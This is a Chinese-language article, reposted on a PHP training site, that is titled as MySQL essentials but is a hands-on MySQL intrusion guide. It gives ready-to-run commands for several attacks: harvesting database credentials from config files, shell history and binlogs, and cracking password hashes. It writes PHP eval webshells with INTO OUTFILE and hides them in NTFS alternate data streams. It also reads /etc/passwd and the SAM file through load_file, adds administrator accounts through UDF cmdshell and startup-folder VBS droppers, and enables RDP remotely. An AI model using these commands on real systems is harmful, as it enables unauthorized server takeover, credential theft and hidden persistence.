《MySQL“必知必會”的知識點!》要點:
本文介紹了MySQL“必知必會”的知識點!,希望對您有用。如果有疑問,可以聯系我們。
MySQL 是一種關聯數據庫管理系統,關聯數據庫將數據保存在不同的表中,而不是將所有數據放在一個大倉庫內,這樣就增加了速度并提高了靈活性.
SQL 語言是訪問數據庫最常用的標準化語言.MySQL 軟件采用了 GPL(GNU 通用公共許可證),它分為免費版和商業版,由于其體積小、速度快、總體擁有成本低,尤其是開放源碼這一特點,一般中小型網站的開發都選擇 MySQL 作為網站數據庫.由于其免費版的性能卓越,搭配 PHP 和 Apache 可組成良好的開發環境,MySQL 分為商業版本(MySQL Enterprise Edition 和 MySQL Cluster CGE )和 GPL 版本(MySQL Community Edition).
一
MySQL 提權必備條件
1
服務器安裝 MySQL 數據庫
利用 MySQL 提權的前提就是服務器安裝了 MySQL 數據庫,且 MySQL 的服務沒有降權,MySQL 數據庫默認安裝是以系統權限繼承的,并且需要獲取 MySQL root賬號密碼.
2
判斷 MySQL 服務運行權限
對于 MySQL 數據庫服務運行權限有很多方法,我這里主要介紹三種,一種是通過查看系統賬號,也即使用“net user”命令查看系統當前賬號,如果出現了 MySQL 這類用戶,以為著系統可能進行了降權,一般情況都不會降權.第二種方法就是看 Mysqld 運行的 Priority 值,如圖1所示.通過 aspx 的網頁木馬來查看 Process 信息,在圖中我們可以看到系統權限的 Priority 值為“8 ”,如果Mysqld 的 Priority 值也為 8 則意味著 MySQL 是以 System 權限運行的.第三種方法是查看端口可否外聯,一般情況下是不允許 root 等賬號外聯,外部直接連接意味著賬號可能被截取和嗅探,通過本地客戶端直接連接對方服務器,直接查看和操作 MySQL 數據庫,可以通過掃描 3306 端口來判斷是否提供對外連接.
查看 Priority 值來判斷 Mysqld 服務運行權限
二
Mysql密碼獲取與破解
1
獲取網站數據庫賬號和密碼
對于 CMS 系統,一定會有一個文件定義了數據庫連接的用戶和密碼.例如以下代碼:
$db['default']['hostname'] = 'localhost';
$db['default']['username'] = 'root';
$db['default']['password'] = '123456';
$db['default']['database'] = 'crm';
dedecms 數據庫安裝的信息就是寫在 data/common.inc.php,Discuz 的數據庫信息就在 config/config_global_default.php、config /config_ucenter.php、config.inc.php.一般數據庫配置文件都會位于 config、application、conn、db等目錄,配置文件名稱一般會是 conn.asp/php/aspx/jsp 等.對于 java 會在 /WEB-INF/config/config.properties 中配置,總之通過查看源代碼,進行層層分析,終究會發現數據庫配置文件.
對于 Linux 操作系統,除了上述方法獲取 oot 賬號密碼外,還可以通過查看 ./root/.mysql_history、./root/.bash_history 文件查看 MySQL 操作涉及的密碼.當然對于 MySQL 5.6 以下版本,由于設計 MySQL 程序時對于安全性的重視度非常低,用戶密碼是明文傳輸.
MySQL對于 binary log 中和用戶密碼相關的操作是不加密的.如果你向 MySQL 發送了例如 create user,grant user ... identified by 這樣的攜帶初始明文密碼的指令,那么會在 binary log 中原原本本的被還原出來,執行“mysqlbinlog binlog.000001”命令即可獲取,如圖4所示.
查看 binlog 日志
2
獲取 MySQL 數據庫 user 表
MySQL 所有設置默認都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安裝程序的 data 目錄下,有關用戶一共有三個文件即 user.frm、user.MYD 和 user.MYI,MySQL 數據庫用戶密碼都保存在user.MYD 文件中,包括 root 用戶和其他用戶的密碼.
在有權限的情況下,我們可以將 User.frm、user.myd 和 User.myi 三個文件下載到本地,通過本地的 MySQL 環境直接讀取 user 表中的數據.當然也可使用文本編輯器將 user.MYD 打開將 root 賬號的密碼復制出來到到 cmd5.com 進行查詢和破解.對于 MySQL 數據庫密碼如果通過 cmd5.com 等網站不能查詢到密碼則需要自己手動破解,有關MySQL 數據庫密碼手動破解,請查閱下一章.
3
MySQL 密碼查詢
可以通過以下查詢語句直接查詢 MySQL 數據庫中的所有用戶和密碼,如圖2所示.
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
4
MySQL 密碼加密算法
MySQL 實際上是使用了兩次 SHA1 夾雜一次 unhex 的方式對用戶密碼進行了加密.具體的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通過查詢語句進行驗證,查詢結果如圖3所示.
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
圖3 MySQL 數據庫加密算法
三
MySQL 獲取 webshell
MySQL root 賬號網站獲取 webshell 具備的條件:
1. 知道站點物理路徑,網站物理途徑可以通過 phpinfo 函數、登錄后臺查看系統屬性、文件出錯信息、查看網站源代碼以及路徑猜測等方法獲取.
2. 有足夠大的權限,最好是 root 賬號權限或者具備 root 權限的其它賬號,可以用 select user,password from mysql.user 進行測試.
3. magic_quotes_gpc=OFF.對于 PHP magic_quotes_gpc=on 的情況,可以不對輸入和輸出數據庫的字符串數據作 addslashes 和 stripslashes 的操作,數據也會正常顯示. 對于 PHP magic_quotes_gpc=off 的情況必須使用 addslashes 對輸入數據進行處理,但并不需要使用 stripslashes 格式化輸出,因為 addslashes 并未將反斜杠一起寫入數據庫,只是幫助 MySQL 完成了 SQL 語句的執行.
4. 直接導出 webshell,執行下面語句
Select '<?php eval($_POST[cmd])?>' into outfile '物理路徑';
and 1=2 union all select 一句話HEX值 into outfile '路徑';
也可以通過創建表來直接完成,其中 d:/www/exehack.php 為 webshell 的名稱和路徑:
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
5. 有些情況下掌握了 MSSQL 數據庫口令,但服務器環境是 Windows2008,web 環境是 PHP,則可以通過 SQLTOOLs 工具,直接連接命令,通過以下命令寫入shell:
echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php
四
MySQL 滲透有用的一些技巧總結
1
常見的有助于滲透到 MySQL 函數
在對 MySQL 數據庫架構的滲透中,MySQL 內置的函數 DATABASE、USER、SYSTEM_USER、SESSION_USER 和 CURRENT_USER 可以用來獲取一些系統的信息,而 load_file 作用是讀入文件,并將文件內容作為一個字符串返回,這在滲透中尤其有用,例如發現一個 php 的 SQL 注入點,則可以通過構造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”來獲取boot.ini文件的內容.
(1) 一些常見的系統配置文件
c:/boot.ini //查看系統版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置
c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存儲了pcAnywhere的登陸密碼
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系統apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp開發的網站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火墻規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/etc/issue
/etc/issue.net
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虛擬主機配置文件
/etc/sysconfig/iptables 查看防火墻策略
load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
(2) 直接讀取配置文件
SELECT LOAD_FILE('/etc/passwd' )
SELECT LOAD_FILE('/etc/issues' )
SELECT LOAD_FILE('/etc/etc/rc.local' )
SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
(3) Linux 下通過 load_file 函數讀出來的數據庫有可能是 hex 編碼,要正常查看需要使用 NotePad 將將以上代碼全部選中,然后選擇插件“Converter”-“HEX-ASCII”進行轉換.
2. Windows 下 MySQL 提權時無法創建目錄解決辦法及數據流隱藏 Webshell
NTFS 中的 ADS (交換數據流)可以建立目錄,隱藏 webshell 等等.
(1) MySQL 創建目錄
當 MySQL 版本較高時,自定義函數的dll需要放在mysql目錄下的lib\plugin\.一般普通的腳本是沒有在這個文件夾下創建文件夾的權限的.這里可以用到ads來突破:
select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';
會在 MySQL 目錄下生成一個 lib 目錄,這樣你就可以將你的 udf 放在這個插件目錄下了.
(2) 隱藏webshell
在服務器上 echo 一個數據流文件進去,比如 index.php是網頁正常文件,我們可以這樣子搞:
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg
這樣子就生成了一個不可見的 shell a.jpg,常規的文件管理器、type 命令,dir 命令、del 命令發現都找不出那個 a.jpg 的.我們可以在另外一個正常文件里把這個 ADS 文件 include 進去,這樣子就可以正常解析我們的一句話了.
3
有用的一些技巧
(1) 3389 端口命令行下獲取總結
netstat -an |find "3389" 查看3389端口是否開放
tasklist /svc | find "TermService" 獲取對應TermService的PID號
netstat -ano | find '1340' 查看上面獲取的PID號對應的TCP端口號
(2) Windows 2008 Server 命令行開啟 3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
(3) wce64 -w 命令直接獲取系統明文登錄密碼
(4) 在 phpinfo 中查找 SCRIPT_FILENAME 關鍵字獲取真實路徑
(5) Linux 終端提示符下查看 mysql 有關信息,ps -ef|grep mysql
(6) Linux 下啟動 mysql 服務:service mysqld start
(7) Linux 下查看 mysqld 是否啟動:ps -el | grep mysqld
(8) 查看 mysql 在哪里:whereis mysql
(9) 查詢運行文件所在路徑 which mysql
(10) udf.dll提權常見函數
cmdshell 執行cmd;
downloader 下載者,到網上下載指定文件并保存到指定目錄;
open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);
backshell 反彈Shell;
ProcessView 枚舉系統進程;
KillProcess 終止指定進程;
regread 讀注冊表;
regwrite 寫注冊表;
shut 關機,注銷,重啟;
about 說明與幫助函數;
具體用戶示例:
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
4
一些常見的 MySQL 命令
(1) 連接到 mysql 服務器
mysql -h 192.168.0.1 -u root -pantian365.com antian365
(2) 查看所有數據庫
show databases;
(3) 使用某個數據庫
use testdatabase;
(4) 查看數據庫中的所有表
show tables;
(5) 在 test 數據庫下創建一個新的表
create table a (cmd text);
(6) 在表中插入內容添加用戶命令
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );
(7) 查詢 a 表中所有的數據
select * from a
(8) 導出數據到系統某個目錄下
select * from a into outfile "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啟動\\a.vbs";
(9) 查詢數據庫數據路徑
select @@datadir;
(10) 查看所有 dir 路徑
SHOW VARIABLES WHERE Variable_Name LIKE "%dir"
(11) 查看插件路徑
show variables like '%plugins%' ;
(12) 查詢MySQL安裝路徑
select @@basedir
(13) 常用內置函數
select system_user 查看系統用戶
select current_user 查詢當前用戶
select user; 查詢用戶
SELECT version 查詢數據庫版本
SELECT database 查詢當前連接的數據庫
select @@version_compile_os 查詢當前操作系統
select now; 顯示當前時間
(14) 獲取表結構
desc 表名 或者show columns from 表名
(15) 刪除表
drop table <表名>
注:本文是筆者撰寫的 MySQL 安全防護系列文章的第一期,后續我們會持續推出,敬請期待.
參考文章:
http://www.jb51.net/hack/41493.html
http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/
http://www.myhack58.com/Article/html/3/8/2016/75694.htm
http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html
廣 告
維易PHP培訓學院每天發布《MySQL“必知必會”的知識點!》等實戰技能,PHP、MYSQL、LINUX、APP、JS,CSS全面培養人才。
轉載請注明本頁網址:
http://www.snjht.com/jiaocheng/7660.html